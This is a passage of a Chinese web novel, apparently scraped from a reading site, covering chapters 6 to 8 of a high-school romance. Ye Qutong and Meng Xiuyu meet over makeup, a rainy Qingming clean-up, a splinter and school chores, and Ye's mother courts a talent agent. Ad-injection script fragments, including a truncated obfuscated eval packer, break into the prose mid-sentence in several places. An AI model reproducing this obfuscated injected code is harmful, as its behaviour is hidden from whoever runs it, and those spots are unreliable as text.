“才不要,是我拉你来的嘛,再说了,我经常去外婆那边蹭饭吃,你也没跟我计较啊。” 谢若辞确实不在意这些繁琐的账目,谁多一顿谁少一顿也差不了多少,她心思都在鼓捣这些化妆品上,很多是小样,但更多是瓶瓶罐罐,用谢若辞的话说,“别看这么多东西,其实我们要化的是伪素颜妆,放大眉眼的优势,让人一眼看过来觉得这个女生好清纯、好自然哦,就成了!” 叶曲桐不自信地低头看了眼彼此的校服,“真的有可能吗?” “我不一定,但是你肯定没问题,你化个妆的话,眼线都不需要涂,我给你上几层睫毛打底就可以,再配一点枯枝玫瑰色的腮红,绝对看起来特别自然,还能放大你五官的精致感!” “不用了吧,反正是你去偶遇……” “来嘛!我保证给你弄得漂漂亮亮的。” 叶曲桐拗不过她,为难说着,“那只能简单一点的,我家里没有卸妆油。” “我给你带了小样!怎么样?我贴心吧?” 叶曲桐被她推销式的说法逗笑,随她去了,任由她往自己的脸上涂抹。 中途,谢若辞往后退开上半身,仔细打量着她的妆容时,眉心拧在一起,还一高一低,令叶曲桐忍不住笑出声,恼得谢若辞一巴掌轻轻拍到她肩膀上,“别动!再笑给你画成蜡笔小新!” “好好好,听你的。” 等两个人吃完饭,倒腾完妆容,已经是中午一点二十,太阳正压在颅顶的时候。 叶曲桐有些犯困了,一出来面迎着阳光便生理性地打了个哈欠。 “哎呀!打哈欠会有眼泪水的!”谢若辞拿指腹小心地在她的眉眼下按压了几下,颇为欣赏自己的杰作,“真漂亮!下辈子换我长这样!” 叶曲桐向来不把她的夸张夸赞当回事,笑着说:“快走啦!我都快不知道怎么眨眼睛了。” “你可别眨眼!我好像看见孟修榆了!” 叶曲桐忽然紧张得板起一张脸,恨不得立即转身,总觉得她化了妆还是太过明显,低着头重新往居酒屋里钻,“我还是进去洗手间洗掉吧,有点不太习惯,下午还要考试。” 胳膊肘却被谢若辞用力往回一拽,“洗什么呀!又不会有其他人看见!只有好看!” 叶曲桐整个人被谢若辞突如其来的力道拉回得踉跄了几步,刚好面对着长街对面,那棵繁茂的、她走过无数次的梧桐树下,就站着那个依然被人围堵在中心的人。 谢若辞四处张望了一下,感慨说:“怎么没看见余樵啊?虽然孟修榆更好看,但是他不是我的菜,他对卢艺婕这样浓颜系大美女都是冷冷淡淡的诶,我不喜欢太有距离感的帅哥!当然了,我不是在说我不如卢艺婕好看,我只是没有她那种时间和精力打扮自己而已。” 叶曲桐的目光只有在这样不被对视和察觉的时刻,才敢直接炙热的看向他。 见叶曲桐没出声,谢若辞拿胳膊撞了撞她的,嫌弃说:“拜托!卢艺婕是什么小蜜蜂转世吗?怎么孟修榆走到哪里她就在哪里啊,难得一个午休,就她问题多。” 叶曲桐实事求是地说道:“不是也有其他同学在。” “又不是在真的请教问题。” 叶曲桐轻轻叹了一口气,一时间不知道说什么,只觉得心里有一点隐隐的羡慕。 她很想说,她更喜欢物理题,她也喜欢讨论复杂题型。 孟修榆站在树下,浓绿的苔藓沿着粗粝的树干饶了一圈,延伸到下水井盖周围,带着点暮春暖意的风灌进他今天穿的黑色衬衫里,衣料顺着风贴紧他的腰线。 他神情还是那样淡淡的,开口并不多,大多时间抿着唇,但仍能让人觉得很有耐性。 这一刻是属于少年的梧桐树和晚风。 他被远处传来的叫声惊扰,忽地抬起头,只是微微侧身,轻轻扬起眉骨。 先看到的却是正对面的街道。 猝不及防地,叶曲桐看见了他难得展露的笑容。 竟是能令她看清和挪不开视线的弧度。 谢若辞敏锐地张了张口,却没出声打断这一秒的静谧,她将目光从对街转移到叶曲桐身上,轻轻捏了捏她的手臂,眯起眼试探说:“我怎么觉得……你们好像认识呢?” * 那天,叶曲桐简单跟谢若辞解释了下她和孟修榆的事情。 抛开陈郁芸资助那些涉及到隐私的事情不谈,大致上只能归结为偶然。 谢若辞尽可能克制着自己哇哇乱叫的欲念。 等梧桐树下那些人散了,她才死命摇晃着叶曲桐的胳膊说:“那你有加孟修榆的联系方式吗?他能不能给你、或者我们单独补习啊?我现在觉得他越看越帅,他是不是其实还挺好说话的啊?” “没有联系方式。” “那你们也算是两家颇有渊源喽?”谢若辞盘算着,“那我们这也算是近水楼台了!不行,我们不能就这样浪费机会啊,要不然你主动加他吧?我觉得他肯定会通过你的,我有预感……” 叶曲桐摇摇头:“不要了吧,多尴尬。” “怕什么!你不试试怎么知道?” 叶曲桐被这些问题砸晕了,赶紧敷衍的说着真话:“真不知道,只是认识,不是熟悉。” 逆光而行,连风都更偏爱孟修榆。 一句话说得比 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 潮涨潮落的心情还酸涩。 * 到清明。 叶曲桐一大早就起床复习,她自从进入高三开始,一直保持着固定的作息,极其自律,只有在大考之前才会调整复习节奏,尽量将复习项目跟考试时间安排相配合,以达到最佳手感。 逢清明必阴雨的规律也没在今年打破。 外婆白天正常出摊,但风湿犯了,顾不上去山上收拾垃圾。 这算是社区给外婆补给的一点私活儿,政府早有规定,山上不能明火烧纸,也不能点香烛,但这里是老城区,又保留了一部分土葬,本地人还是经常偷偷燃火。 尤其是这山的背面还有座观音庙,虽说不是什么著名景点,但管理得当,人流量在节假日还是有一些,这都属于外婆需要打扫清理的范畴,烧成烟灰的纸钱被雨水打湿,死死地贴在土地和水泥墓地上,呈现一大片由内向外的焦黑色印记,是最难处理的那一部分。 叶曲桐主动承担下来,起初外婆固执得不答应,生怕耽误叶曲桐复习,但实在是苦于腿脚疼痛,肉眼可见的连脚背和膝盖骨都浮肿了起来。 叶曲桐想也没想,穿好雨衣留下一句“不差这点时间”就上了山。 这山海拔不高,也不算陡峭,连孩童都能蹦蹦跶跶来踏青,但枝木繁杂,尤其是高耸,到夏天遮天蔽日的,很容易在叶曲桐用拖把清理墓地的香炉纸时,刮到各种木刺和枝条。 她俯下身用手去仔细挑拣出来,不然拧水时手掌心很容易受伤。 她这几年没少吃苦头,尤其是清理到后半段,只想快点结束回家洗澡,格外心急,橡胶手套一丢直接上手把拖把的水一把拧干,结果手指中钻入了尖刺也没注意,到第二天发现时已经彻底红肿了起来。 “要帮忙吗?” “啊?” 挑拣的大概过于专心,以至于大脑放空时突然有人出声,这声音便显得格外空灵。 叶曲桐猛地一抬眼,差点冒星星,惊愕地神情愣了一秒,才缓慢出声:“孟修榆,你……怎么在这?” “祭拜家人。” “对哦,今天是清明节。” 她又在问什么蠢问题,叶曲桐懊恼地想着。 她手上还攥紧着一把枝条,身上穿着连体的塑胶背带雨衣,额前已经被雨水打湿,索性被叶曲桐直接撩到了耳后,露出整张精致的脸庞,整个人看起来像是被雨淋湿的可怜小狗。 孟修榆忽然笑了下。 叶曲桐不解地低头看了看自己这一身,有些窘迫地说:“……我在清理垃圾。” “嗯,我帮你。” “啊,不用,不用的。”叶曲桐捏着拖把的木棍,用力到发疼,“我来吧,这些很麻烦的。” 叶曲桐低下头,也不知道在忙些什么,下意识将刚整理好的拖把又放到地上左右拖拉了两下,几颗冰凉的雨滴落在她的眉头,惊得她动作一滞,敏捷地眨了下眼。 头顶的雨帽总是被风吹到脑后,歪歪斜斜地堆在颈后。 忽然有伞没过,遮蔽起一方青灰色的安全天地。 叶曲桐倒吸一口气,明知道谁在为他撑伞,却因为气息比以往都要靠近,茫茫然地抬起头,凉风在吹,枝杆和腐灰乱窜,一些求姻缘的竹签在观音庙落地声响。 她恍惚间好像看见—— 孟修榆抬起了另一只没有拿伞的手。 他刚刚是想摸自己的头吗? 她赶紧摇摇头。 她到底在想些什么啊。 7. 第 7 章 第07章 放完小长假回来,学生们随阴郁的天气那样被打回原形,蔫蔫儿的趴在桌上的人也变多了,这个月只剩日复一日乏味严肃的复习,一点盼头都没有。 谢若辞是劳动委员,当时没有人举手愿意担任,她又在阎萍老师在讲台上说正事的时候找人说闲话,被逮个正着,于是就这样干了两年劳动委员。 “烦死了,这个鬼天气,怎么一直下雨啊,还得值日。” 叶曲桐笑着纠正她,“你是去检查值日情况。” 谢若辞抱怨:“那总得跑的嘛,早上在外面风吹日晒检查卫生,放学也比别人晚。” “讲得这么可怜。” “那可不就是嘛,尤其是这几天,大早上冷死了。”谢若辞铺垫了半天,叶曲桐已经知道她想提什么鬼主意,“要不然……我们下午把那个什么什么破安全分享会翘了?” 叶曲桐想也没想,语气却是轻柔的,“不行。” “我就说我肚子疼,你陪我去医务室,我去跟阎老师说,行不行嘛?” 叶曲桐踌躇片刻,让谢若辞心生希望,从课桌上立刻抬起头,却迎来她数清楚了手中试卷的呆萌表情,“别了,反正去阶梯教室也是坐着听,发发呆就过去了。” 谢若辞丧气地点点头,突然想到似的,扬声提醒说:“好的吧,痛苦,早知道就早点去抢座位了,这会儿不会只剩前排座位了吧!” 叶曲桐被她抓紧手腕就往阶梯教室小跑,气喘吁吁到达门口时,里面已经满眼都是坐好的学生,幸亏都还在说着话,使得她们的迟到没有那么惹眼。 “这里。” 陈芥从靠窗那一侧的五座位置站起来,敞亮地冲她们挥了下手。 更为大方的是,他介绍说:“我们班坐这边。” 这让叶曲桐松了口气,她不喜欢、也不习惯成为人群的焦点和话题。 但人还没往座椅上坐,就被谢若辞拉起来,她匆匆忙忙地贴近桌面挤进去说,“不好意思哈,让一让,我坐里面好了,方便我打瞌睡。” 叶曲桐和陈芥微微侧身,让她先进去。 不等叶曲桐坐下,谢若辞已经将脑袋靠向了她的肩膀,脸上露出看破不说破的狡黠笑容,“我特意让你坐我们中间的,毕竟陈芥‘特意’给你占了位置。” “特意”两个字被她拖长发音。 叶曲桐在她眼下随意举了举拳头,不多见的开玩笑说:“我的拳头可捏紧了啊。” 谢若辞将她的胳膊也挽住,在叶曲桐肩头扭了扭,全然不在意的说着:“打是亲,骂是爱,反正我就是又沾上大美女的光啦。” 叶曲桐不跟她胡闹了,发现阎萍老师正往她们这边看。 叶曲桐推了推谢若辞,轻声说了句:“要开始了,别胡说了。” 整个分享会气氛其实比想象得要轻松,受邀的年轻教授专攻网络安全方向,协助了不少未成年人网恋诈骗、信息泄露等实际案例。 通过他绘声绘色地描述,配合答题环节,很能给人一种在看《今日说法》的感觉。 时间也显得不那么漫长。 等散场,雨还没停。 谢若辞个子有一米七出头,跟叶曲桐并行时一般都是她撑伞。还有一个原因是,她经常犯迷糊,不是忘记带伞,就是带了伞但是不知道借给了谁。 带出来的伞就没有回过家。 所以一直给叶曲桐献殷勤,说是要为她“遮风挡雨”。 今天亦是如此。 但是叶曲桐好几次说她自己拿没事,被谢若辞死死攥在手心里。 一把伞下,先步行送叶曲桐回家,然后将伞交给谢若辞。 “我走了啊,明天给你。”谢若辞说完自己都不信,吐了下舌头说,“我尽量啊。” “没事,不过……你等我一下。” 叶曲桐从伞下跑出去,手掌遮在头顶,书包因为奔跑而高低耸动了一下,她冒着雨穿过院子,进自己房间拿了一把卷好的雨伞出来,喘着气递给谢若辞,“这把伞给你。” 谢若辞抬头看了看现在的伞顶,“有什么区别?” 叶曲桐说得飞快:“这把,这把大一点,也好看一点。” “哈?你在说什么?” 叶曲桐着急不过,替她打开伞,交换过来,又在这个过程里面淋了一通伞面上洒下来的雨水,她催促说:“……你快回家啦,注意安全。” “好吧!明天见!” 叶曲桐盯着重回空荡的巷子口,嘴里应着外婆在厨房的帮忙呼喊。 手掌心却握紧了伞柄,想起前几天,指尖好像还保存细腻的触感。 心里却又漫过从伞柄传来的冰凉的温度。 * 清明节那天下午。 也是这样下着雨的天气。 在观音庙背后碰到孟修榆是意料之外的事情,他会帮自己打伞、低下头颅去清理垃圾,更是匪夷所思,到现在叶曲桐回想起来,都仍是觉得心脏一紧。 孟修榆显然没有她熟悉这片山上的“枝条刺客”,在下山时,他拎着水桶和拖把走在后,让叶曲桐在前面领路,她抿紧嘴唇,老想回头帮忙,被孟修榆提醒说,“看路。” 这一声随着落雨的气息传过来,钻进叶曲桐的耳中,痒痒的。 到山下,叶曲桐接过这些清扫工具,紧张地攥着手指问他:“你打车还是?” “你是直接回家?” “嗯。” 孟修榆有片刻的分神,垂下眼看了下自己摊开的掌心,摩挲了下食指和中指,眉心蹵紧,被叶曲桐察觉,她下意识问:“是不是有木刺在里面?” 孟修榆轻轻呼了口气,还是平淡的语气,轻轻甩了下手,“按压有痛感。” “那就是了,我帮你挑吧,不然第二天会红肿,甚至起脓。” 孟修榆没有接话,晚风吹起他的衬衣一角。 叶曲桐着急说:“我帮你把刺挑出来,我以前给自己也挑过几次,你可以信任我。” “方便吗?” “方便的。”叶曲桐这才发现,他应当在顾虑他们共处一室。 叶曲桐转过身领路,故作轻松地说着:“走吧,外婆在家还能给我们煮个面吃。” 外婆态度过于热情,尤其是在叶曲桐随意在家提到他是保送到慕城大学的事情以后,外婆一直叮嘱她,要跟孟修榆多学习,好学生互相帮助总是没坏处的。 进门后,甚至问孟修榆,要不要喝茶。 叶曲桐苦笑着替没来得及说话的孟修榆拒绝了,说她自己去泡就好。 这是她自制的罗汉果薏仁茶,祛湿用的,很适合多雨地带。 草本植物的味道闻起来很浓郁,入口却是清淡绵甜的。 叶曲桐端了玻璃杯给孟修榆,“喝这个晚上不会失眠,味道也不太浓。” “谢谢。” “那我去拿酒精棉和打火机。” 叶曲桐轻车熟路的拉开抽屉,并列好几个分装盒,贴好了药品到期时间的便签。 不知何时,窗外的雨已经变小。 窗户是木质的,带着老旧的吱呀声响,但是收拾得很整齐,窗沿上养了几盆常见植物,清幽葳蕤,院子承接着月光,偏僻的角落不知不觉蓄起了银白色的镜面。 叶曲桐目光过分专注,这样她才能在捏住孟修榆的食指能,勉强维持平缓呼吸。 与那次短暂的接触不同,这次她又觉得好像骨骼没有那么硬,手指比她印象里面更为细长,也更加细腻,像是摸到了繁茂绿植的叶片。 靠得近了,才发现他身上也有一种很自然的味道,很清淡。 叶曲桐咽了下口水,给针尖喷了酒精,也拿打火机烧过,这是外婆教她的方式。 她忽然说:“我不近视,只有一点散光。” 叶曲桐垂着眼眸,目光聚焦,用她天然且少见的冷幽默逗笑了孟修榆。 虽然只是清浅的笑意,却还是被精神过度紧张的叶曲桐捕捉到,她赶紧问:“是不是很疼?” “还好。” 她脸上蓦然一热,手上略微放松力道,轻声说:“抱歉啊。” 她说的是,害他受伤的事情。 孟修榆好像知道她的心思,依旧是松弛的模样,“这又不怪你。” 时间其实不晚,放平时也就是刚放学的点。 雨又下起来,吸顶灯幽幽散发橘色的柔光。 大概是天气过于低沉,加上忙活了一整天,叶曲桐眉梢眼角的神色都带了一点倦意,替孟修榆把尖刺仔细地挑出来以后,她收拾东西,转头原本想问他想吃什么,鸡汤面行不行,却发现他的侧脸轮廓清晰而润白,他明明是冷淡的气 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 质,却有着耐心、和缓的声音和动作。 为了掩盖她的凝视,叶曲桐觉得必须说点什么。 她转过身,收拾着药盒,开口说道:“保送生是确认专业的吗?” “嗯。” “那你是学什么?” 孟修榆说:“医学。” 叶曲桐“哦”了一声,对白衣大褂有着天然的好感和想象。 她眨眨眼,转头问:“方便问……原因吗?” 孟修榆沉吟片刻,脸上露出淡淡的倔强,“我爸爸是病逝的,妈妈其实也类似。” “……抱歉。” “没事。” 叶曲桐转头看向窗外,心里独自懊恼,她明明知道孟修榆父母的事情呀,她明明记得很清楚,她怎么会开启这样让人为难的话题。 孟修榆只是淡淡的神情,并没有觉得被冒犯,低缓沉静的语气问她:“你呢?” “我没想那么多,只希望能顺利考上……” 叶曲桐把差点脱口而出的“人大”硬生生咽了回去,顿了顿才轻松说,“……国内的好大学只要分数够,我都考虑的,哪有奢侈的挑选机会。” 孟修榆看向她,脸上浮现一些疑虑的神色,“你没有考虑过国外的学校吗?” 按她的成绩,在家庭经济的加码支持下,确实有机会申请到世界排名更高的学校。陈郁芸和聂惊羽其实从高中刚开始就跟她提过,或者说,一直反复在说。 但叶曲桐还是明确地回答说:“没有考虑过。” “哦……” “你呢?” “新加坡国立大学有给我发offer。” “这样……”叶曲桐几乎没有能力抑制,下意识淡淡地感慨,“你真的好厉害。” 叶曲桐借添热水的机会,再次背对着孟修榆,鼓足勇气问:“……那你会去吗?” “在考虑。” 短暂的沉默。 叶曲桐也不再多问,她知道,新加坡国立大学跟不少顶尖中学都有着紧密的招生关系,以孟修榆的成绩,拿到奖学金自然不在话下,可还有高昂的、令普通人望而却步的生活费。 她听阎萍老师说过,很多国外的学校甚至不提供学生宿舍,什么都需要学生自己负担,北欧甚至还有坐飞机往返通勤的学校呢。 叶曲桐觉得这些离她实在太过遥远。 “……如果是为了经济犹豫,其实我妈应该是很乐意支持你的。”叶曲桐想起聂惊羽让他多多考虑的劝告,也没有忘记谢叔叔给他们都预留了读书的钱。大概是气氛太过温柔,她低着头比以往说的话都多,“我妈……其实很重视教育的。” 或者说,陈郁芸挺虚荣的,她只喜欢成绩好的孩子。 毕竟这让她在太太圈很有面子,也能在谢叔叔面前彰显她育儿管家的能力。 孟修榆眼中蒙上一层冷意。 “是吗?” 叶曲桐问:“什么?” “没什么,或许我们见识到的不是同一个人。” “……我没有别的意思。”叶曲桐尽量勾唇笑着,让气氛不要忽然变冷,“我只是觉得如果很辛苦的话,也可以接受帮助的,反正也不是她的钱。” 孟修榆没有接话,只是清淡地瞥她一眼,仿佛确实只是无意义的闲聊。 只是这样的沉默让她难以承受。 叶曲桐知道。 他原本可以反问,如果觉得很辛苦的话,也可以接受帮助的,反正不是她的钱,那你为什么跟我一起出现在这里。 但是他越有礼貌,越顾忌她的情绪,她就反而更加自责。 喉咙像是被鱼刺卡住了一般,叶曲桐用尽力气才打破沉默,“……对不起。” 孟修榆喝完了她重新倒的那杯茶,领了她的好意,平和说:“不用。” 雨还没停,冷风拂面,巷子里的烟囱冷飕飕地冒着白烟。 孟修榆说:“我先回去了,今天谢谢你。” 叶曲桐眉头微微皱起来,里面藏杂着说不清楚的愁绪,眼睫下有着青青的淡影,她尽力笑着说:“是我谢谢你才是。” “再见。” “……再见。” 这次可能真的没有其他交集了吧。 叶曲桐有点恍惚,像是雪梨热饮灌入喉咙,粘稠到无法下沿,到有拉丝的刺痛感。 8. 第 8 章 第08章 周五下午放学,轮到叶曲桐值日。 她没有着急去食堂吃晚饭,原本也打算打扫完卫生正常留下自习。 同组同学赶着去上校外辅导课,连说好几句“谢谢”,把自己操场和走廊上的区域也留给了叶曲桐,她住得近,也没好拒绝,花了点时间归置好扫帚和垃圾桶,顺便把走廊那侧容易挡到人的玻璃窗也给关紧,双臂支在扶栏上,想呼吸一下久阴未晴的潮湿空气。 高三所在楼层居高,为了远离低年级的吵闹。 叶曲桐所在的教室在五楼,从上而下去看,先是苍郁的梧桐树和香樟树的枝叶,往侧后方看过去,靠近塑胶跑道的地方是篮球场,吃过晚饭的学生三五成群地在这里遛弯。 篮球场半场被绿荫遮蔽,另外半场有不少男同学在打球,场面激烈,哪怕是在五楼的走廊,也能听见他们传球时互相叫喊着的指令。 也有一些胆大的女同学结伴在篮球场边,就吸引人的话题聊得火热。 孟修榆和陈芥都在其中,他们打得很专注,没有只是消遣运动一下的意思,满场跑动得十分积极,传球,截断,欢呼声此起彼伏。 孟修榆因为肤白和个子高,轻易就被叶曲桐一眼看见。 或者说,他原本在其中就是鹤立鸡群,他穿着天蓝色系扣短袖,衣领很整洁得翻在锁骨上,整个人的短发因为沾湿汗水而在薄弱的阳光下都显得亮莹莹的。 场外鼓掌叫好的声音不绝于耳,遥远处还有不少人拿着矿泉水瓶摇晃着庆贺。 叶曲桐的脑海中闪过一个大胆的念头。 如果此刻她拿着扫帚和簸箕,假装值日经过篮球场,她会被孟修榆发现吗? 又或者说,她只是不经意的匆匆一瞥,孟修榆会发现她吗? 但是只一秒,她便被自己浓重的呼吸声打断,迅速转过身,不再遥望着楼下,几乎是用小跑着的速度回到了教室,坐回自己的位置,失神地死盯着教室墙壁上的高考激励话语。 果然,几分钟就可以冷静下来。 等叶曲桐准备练听力才掏出手机看了下,陈郁芸已经打了十几通电话,她赶紧回了个微信过去,问她:怎么了?平时在学校手机静音的。 不出所料,陈郁芸还是直接打电话来。 大约是料定了陈郁芸不会有什么要紧的事情,叶曲桐听完她想要约时间拍母女写真的来意后,整个人已经有点不想应付的疲倦感,直接拒绝说:“不去了。” “拍照美美的多好呀,你哪像个女孩子!白瞎了一张漂亮脸!” 叶曲桐有一点莫名其妙的烦躁:“都高三了我真的没有心思陪你拍这些。 “我的宝贝女儿,学习不差这一天两天的,老师都说劳逸结合!”陈郁芸那头颐指气使的语气,吩咐司机将车开进校门,让他下车去问问怎么就不能开进去了。 接着又跟叶曲桐撒娇说:“妈妈都没有你的照片,你也不发朋友圈,妈妈现在有的照片还是你七八岁的时候,那时候你特别黏着我,谁带你都不行,就我陪着你你才安心。” “好了,好了。”叶曲桐受不了这种纠缠,“什么时候?最好不要太久。” “我到你学校门口了,你们那个门卫真的是一点人情世故都不懂。”陈郁芸嗔怪道,“烦死了,下雨天我不想把新买的高跟鞋弄湿,他非不让我们开车进去。” 叶曲桐近乎冷漠地纠正她:“当然不能让外来车辆进入学生,这是对学生的安全负责。” 她甚至想说,我就是这个被负责的一员。 但是叶曲桐忍了忍,她觉得自己没必要跟不常见面的人置气。 * 陈郁芸带着叶曲桐去了西城那边的一栋写字楼。 车开到B1层,电梯上楼,,没有经过正门,叶曲桐也没有四处张望,从正在忙碌的员工工位前经过时,她粗略扫了一眼,好像叫听潮影视制作传媒有限公司。 有一位穿着一身深灰色西装裙的女士热情接待了他们。 陈郁芸介绍说,七榕曾经是一位国内TOP级别的经纪人,带出过不少能角逐外国电影节的演员艺人,这两年自己创业,成立了多家MCN和影视传媒类公司。 七榕说着客气话:“我跟芸姐算是十来年的牌搭子了吧。” 陈郁芸半开玩笑的语气说着:“那我可没给你少送钱,你这公司越做规模越大,不得算上我这个原始股东?我可听说了,你们买了不少现象级IP等着改编呢。” “您可别拿我寻开心了,芸姐,但凡能有您一半漂亮和能干,我也不至于干幕后啊,都是挣辛苦钱,我凌晨才从横店回来,剧组磨磨蹭蹭的,不知道执行制片在现场是干什么吃的,我给投资人当孙子的时候他们在这磨洋工,一天天的延期,净耽误事儿。” “最近拍的古装剧?” “嗯呢,您不是正想拍几套古装试试吗?我特意约了一个专门拍古风的摄影师,叫小池,现在在社媒上可火了,给不少女爱豆拍过古装照。” “哪个小池呀?” 七榕的美甲巨长,比叶曲桐之前见过的都长,每一个甲片上都镶着夸张的水钻,当她给陈郁芸找账号时,手机屏幕被她划的哒啦哒啦响。 “这个!”七榕凑到陈郁芸旁边,给她翻了翻相册,“现在她可没空接客单了啊,都是纯靠刷脸,我们家新签的几个艺人都排不上。” 陈郁芸冲她笑着眨了下眼,突然拍了拍叶曲桐的后背说:“来,桐桐,快谢谢你七榕姐姐,以后指不定还能给你安排几个角色,一夜成名也说不定呢!” 七榕笑得夸张,忙说:“桐桐想拍戏还不容易,芸姐说笑呢,您随便给她投个校园剧,套个IP,什么白月光角色演不着啊。” “我可不懂行啊,我只知道我们家桐桐成绩好、先天条件也好,就是不知道什么机会出镜好,你说选秀吧,挺折腾人的,突然空降到热播剧里,怕招黑,要是先在社媒上营销一下仙女学霸的人设,不知道现在还行不行得通?” 陈郁芸说得格外认真,叶曲桐的面上浮上来一层惊愕的神情。 倒不只是因为她觉得娱乐圈跟她简直是两个世界,而是她从来没见过陈郁芸有条理、有选项的能说出长句子来,她一贯喜欢“装疯卖傻”,情绪大起大落的。 七榕是个见过大风大浪的人,见陈郁芸摆出严肃讨论的架势,也收敛了笑容认真说:“上次那个男生倒是很不错,最近的爆款热点就是高考相关的,营销‘美女学霸’这个人设,可能比较昙花一现,芸姐你也是知道的……” 七榕顿时卡壳,磕巴了一下,才继续说道:“学霸进娱乐圈刚开始一般都是负面评价居多,按我的嗅觉来说,不如跟那个男生炒个CP,后面再想拍青春偶像剧也显得顺理成章,甚至可以说是顺应大众的期待。” 不提上次还好,七榕话还没说完,陈郁芸就整个人提高音量,身体往沙发靠背上一撞,言语之间尽显不满意:“可是他啊!是个犟骨头!他可不想赚流量钱,清高着呢,我的钱都不惜得要的,上次那个采访也没滋没味的。” 七榕委屈说:“那他也不配合呀!不愿意按我们脚本拍!” “他怎么配合?我又不是他亲妈,他保送能谢到我头上?再说了,就几千个点赞,有什么用啊。”陈郁芸露出一副“不提也罢”的不悦神情。 七榕立即打住话题,不与她争辩,赔笑说:“芸姐,我明白,您还是嫌地方账号太小,这不是第一次上镜嘛,以后您有什么想法,咱们专人专案讨论!” 陈郁芸这人向来得理不饶人,越说越来劲:“你知道还说?那天我来回折腾,回家还听到我老公的遗嘱,连那个臭小子都有份,没给我气吐血了。” 叶曲桐自始至终都没有参与讨论,中途甚至因为在封闭的办公室里而产生了困意,借故去上2了趟洗手间,被陈郁芸似笑非笑地说了一顿才老实待着。 听到陈郁芸这话时,她不动声色地拧了下眉,本想尽量用随意的语气问一下,他们是不是在讨论孟修榆,但碍于陈郁芸的敏锐,她觉得还是不要掺和比较好。 最后出门道别时,叶曲桐才发现整场下来,她保持微笑,笑得嘴角都有点僵硬了,但七榕还是保持着无可挑剔的笑容。 陈郁芸让她先下楼,叮嘱她就在一层,聂惊羽会送她回去,她还有事。 叶曲桐点点头,转过身时听见七榕在她身后对陈郁芸承诺着。 下次一定给她整个大场面。 到车上,她发现聂惊羽正打开着手机,挑选着适合路上听的英文歌。 叶曲桐毕竟是个尚未进社会的高中生,她对这种随叫随到的员工有一种天然的“疑惑”,在她或许有些窄小的认知里,别的行业不敢说,律师总是不至于随叫随到吧。 半路,她实在没忍住,忽然问道:“聂先生,做律师收入是不是很高?” 聂惊羽对于她突如其来的提问,显得尤为平和,笑说:“还好,挣辛苦钱。” “哦……” 聂惊羽透过后视镜,看了她的神情一眼,自然而然地问:“怎么?想报法学?” “没有,只是在想,你怎么会这么乐意给我妈工作……”叶曲桐觉得她这句话说得不够妥当,很有一种阴阳怪气的嫌疑,立刻解释说,“我没有别的意思,我只是觉得我妈这个人思维很跳跃,也不是很专业,好像什么行业她都想掺和一下……” 聂惊羽不置可否,手指在方向盘上压了几下,被叶曲桐视为在思考,他平声说:“投资人不需要什么专业都精通,打工人好像也不必要喜欢自己的老板。” 叶曲桐怔了几秒,仔细想了想,决定终结这个话题,但是还是轻松的笑了下,下意识说出:“聂先生,你讲话,很像那种威望很高的师长的样子。” 聂惊羽也无所谓地笑说:“希望你不是在说我好为人师。” 叶曲桐摇摇头,“没有,当然没有。” 叶曲桐并不为此展开解释。 甚至觉得跟他说话有一种不用动脑的轻松,大概是她根本不会多想。 * 周末,叶曲桐按照给自己制定的复习机会在家认真复习。 按照课程和时间表,她每天都会做大量的试卷、习题册,还有各种重新分析的错题集,有时候做题做得入迷了,手感颇好,会不知不觉写到第二天凌晨。 也有某一刻在全对的红色笔印记里,忽然偷偷哭了起来。 叶曲桐没有那么多奢侈的梦想,也没有想过去诠释或者对抗国内比较病态的高考制度,她只是觉得这样的应试复习,真的很艰难。 对她的每一根神经都是一种博弈,而且是日复一日的博弈,她自问不是个非常有天赋的学习,她能一点一点察觉到她在为自己熔炼出了反思和拆解习题的能力。 到周一,她拿冷水洗面,让自己快速高效清醒,提醒自己忘记昨晚突如其来的低落情绪,今天又是为高考全新奋战的一天。 上午课程结束后,阎萍老师长话短说:“每个班都要出一期‘高考加油’为主题的黑板报,还是有打分评比的性质在,但是我个人不建议大家多花时间和精力在这个上面,有余力的同学可以配合宣传委员,参与一下。” 读书已经十几年,学生们对出黑板报早已经没有了热情,台下座位稀稀拉拉几句应声。 阎萍老师强调说:“但是要留个高考倒计时的位置出来,到时候每天值日的同学记得写上去,也是一种很有益的提醒,希望大家抓紧时间,越到最后越要关注最基础的知识。” “好的!老师!全班收到!OVER!OVER!” 一位调皮大胆的体育生同学,见班上气氛太过低沉,端正地举起手,绷直着背脊洪亮地回答了这句,引得大家一阵喧闹哄笑。 阎萍老师也笑着数落他:“你的学习态度最好像接老师话一样积极!” …… 到下午第二节课,教室外、楼下操场也开始喧闹鼓噪起来。 早春晴朗,马上开启为期一周的学生艺术节,各个学校社团就跟开学纳新一样支起了“摊位”,不止会在学校礼堂、体育馆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但是谢若辞确实没有说错。 到傍晚,放了学,别说给她个合理的理由了,几乎是一打铃所有人就奔向楼下,有的去看表演,有的赶着快速吃个晚饭好去上补习课,各有各的忙碌。 留叶曲桐一个人在教室出黑板报,索性画画的部分已经被宣传委员解决了。 叶曲桐暗自苦笑,算他还有点良心。 她一个人先把低处的励志文章模块给填上了,写到快七点半点,只剩高处一个小模块需要填入诗歌片段,她搬了最后排的空桌子来,垫上废弃的英语周报,踩着自己的椅子踏了上去。 叶曲桐的动作还算小心,但当另一只脚用力离开借力的座椅时,整张课桌还是不可抑制地摇晃了一下,她明明不恐高,却还是觉得脑子昏昏沉沉的。 天色已经全黑了,霓虹灯染红了染墨似的天边。 叶曲桐在大脑空白抄写着板书时,眼前忽然晃过孟修榆的脸。 不知何时,那个冷淡、高瘦、干净,在温和的外表下总是有着不易察觉的倔强神情的男生,像一株小小的火苗,不必在她心间刻意生根,却摇摇晃晃令人心动。 失神时,夜风刮到窗上,铁皮边框撞到一起,发出刺耳的声响。 叶曲桐吓得轻轻“啊”了一声,差点没站稳,直到有人稳稳地替她扶住了桌面,她猜想是哪位班上的同学,先看清那双青筋凸起的手背,站稳转过身才发现是那个想见的人。 “……没想到又在这里碰到你了。” “最近都在后面翻新的空楼层上课。” 